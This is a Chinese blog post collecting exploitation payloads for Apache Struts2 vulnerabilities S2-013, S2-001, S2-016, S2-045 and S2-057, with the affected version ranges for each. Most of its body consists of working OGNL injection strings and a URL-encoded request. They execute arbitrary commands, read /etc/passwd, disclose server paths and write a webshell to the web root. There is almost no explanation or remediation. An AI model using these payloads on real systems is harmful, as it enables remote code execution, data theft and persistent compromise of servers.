java struts2 漏洞_Struts2漏洞利用「建议收藏」

java struts2 漏洞_Struts2漏洞利用「建议收藏」Struts漏洞合集Struts-S2-013漏洞利用受影响版本Struts2.0.0-Struts2.3.14.1漏洞利用任意命令执行POC:${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream(),#b=newjava…

大家好,又见面了,我是你们的朋友全栈君。

Struts漏洞合集

Struts-S2-013漏洞利用

受影响版本

Struts 2.0.0 – Struts 2.3.14.1

漏洞利用

任意命令执行POC:

${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

或着

${#_memberAccess[“allowStaticMethodAccess”]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream())}

如:

http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(‘id’).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(‘dbapp%3D’%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

580fdc949fbe0f353949ec450283175a.png

Struts-S2-001漏洞利用

影响版本

Struts2.0.0 – Struts2.3.15

漏洞利用

获取tomcat执行路径:

%{“tomcatBinDir{“+@java.lang.System@getProperty(“user.dir”)+”}”}

8fbc66157c20d7ff373f7401d7d4ba7f.png

06abc8a7d184125aaea13569700505e7.png

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#response.println(#req.getRealPath(‘/’)),#response.flush(),#response.close()}

执行任意命令(命令加参数:new java.lang.String[]{“cat”,”/etc/passwd”}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“pwd”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Struts-S2-016漏洞利用

影响版本

2.0.0 – 2.3.15

执行命令

redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=false,#f=#_memberAccess.getClass().getDeclaredField(“allowStaticMethodAccess”),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec(“uname -a”).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

1c0ed1f7e7d537b6f7b09db5b8cd6625.png

获取Web目录

redirect:${#req=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’atcher.HttpSer’+’vletReq’+’uest’),#resp=#context.get(‘co’+’m.open’+’symphony.xwo’+’rk2.disp’+’atcher.HttpSer’+’vletRes’+’ponse’),#resp.setCharacterEncoding(‘UTF-8’),#ot=#resp.getWriter (),#ot.print(‘web’),#ot.print(‘path:’),#ot.print(#req.getSession().getServletContext().getRealPath(‘/’)),#ot.flush(),#ot.close()}

26bff0474cec7da61399311a2ceb1413.png

写入Webshell

redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=false,#f=#_memberAccess.getClass().getDeclaredField(“allowStaticMethodAccess”),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletRequest”),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath(“/”)).append(@java.io.File@separator).append(“1.jspx”).toString()),#b.write(#a.getParameter(“t”).getBytes()),#b.close(),#genxor=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#genxor.println(“BINGO”),#genxor.flush(),#genxor.close()}

0091a0f158418fcf56f20927e98a9d2a.png

Struts-S2-045漏洞利用

影响版本

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

POC

%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘vulhub’,233*233)}.multipart/form-data

643d8d82fdf98f9cd68097817c7e5630.png

EXP

%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’ls’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

3a784697be332e3d8595298b2e508c5b.png

Struts-S2-057漏洞利用

受影响版本

Struts 2.3 – 2.3.34

Struts 2.5 – 2.5.16

POC

$%7B233*233%7D

61e125c4155f7b6c849dddb66bed24aa.png

命令执行

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

7ceb0c41ba43cc64abaef2fe09372a2b.png

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161684.html原文链接:https://javaforall.net

(0)
上一篇 2022年7月19日 上午11:46
下一篇 2022年7月19日 下午12:00


相关推荐

  • 手把手教你玩华为eNSP模拟器

    手把手教你玩华为eNSP模拟器文章目录华为 eNSP 模拟器介绍华为 eNSP 模拟器安装安装步骤华为 eNSP 模拟器搭建网络界面介绍新建拓扑网络连通数据抓包文末彩蛋华为 eNSP 模拟器介绍模拟器是什么 顾名思义 就是根据原理制作的仿真工具 通常指的是用纯软件的手段来仿真某一种硬件机能 日常生活中 常见的模拟器有安卓模拟器 在电脑安装安卓模拟器软件后 就可以在电脑上玩手机游戏了 华为 eNSP 模拟器是什么 华为 eNSP 又称华为企业网络仿真平台 是华为提供的一款免费的网络仿真工具平台 主要是对企业网的路由器 交换机

    2026年3月19日
    2
  • Django(49)drf解析模块源码分析[通俗易懂]

    Django(49)drf解析模块源码分析[通俗易懂]前言上一篇分析了请求模块的源码,如下:definitialize_request(self,request,*args,**kwargs):"""Retu

    2022年8月7日
    6
  • 四叉树——图片应用实例

    四叉树——图片应用实例四叉树前言应用实例前言四元树又称四叉树是一种树状数据结构 在每一个节点上会有四个子区块 四元树常应用于二维空间数据的分析与分类 它将数据区分成为四个象限 数据范围可以是方形或矩形或其他任意形状 这种数据结构是由拉斐尔 芬科尔 RaphaelFinke 与 J L Bentley 在 1974 年发展出来 应用实例四叉树索引结构可以快速的在二维空间划分数据 下面是一张图片的四

    2026年3月18日
    2
  • landset8各波段_landsat8波段

    landset8各波段_landsat8波段Landsat8的不同波段组合说明(2013-08-0811:32:56)转载▼标签:landsat8oli陆地成像仪杂谈分类:遥感技术LandsatTM(ETM+)7个波段可以组合很多RGB方案用于不同地物的解译,Landsat8的OLI陆地成像仪包括9个波段,可以组合更多的RGB方案。OLI包括了ETM+传感器所有的波段,为了避免大气吸收特征,OLI对波段进行了重新调整,比较大的调整是OL…

    2022年7月23日
    9
  • ESCMScript(1)let和const[通俗易懂]

    ESCMScript(1)let和const[通俗易懂]1.let命令基本语法ES6新增了let命令,用来声明变量。它的用法类似于var,但是所声明的变量,只在let命令所在的代码块内有效。{leta=1varb=2console

    2022年7月30日
    14

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号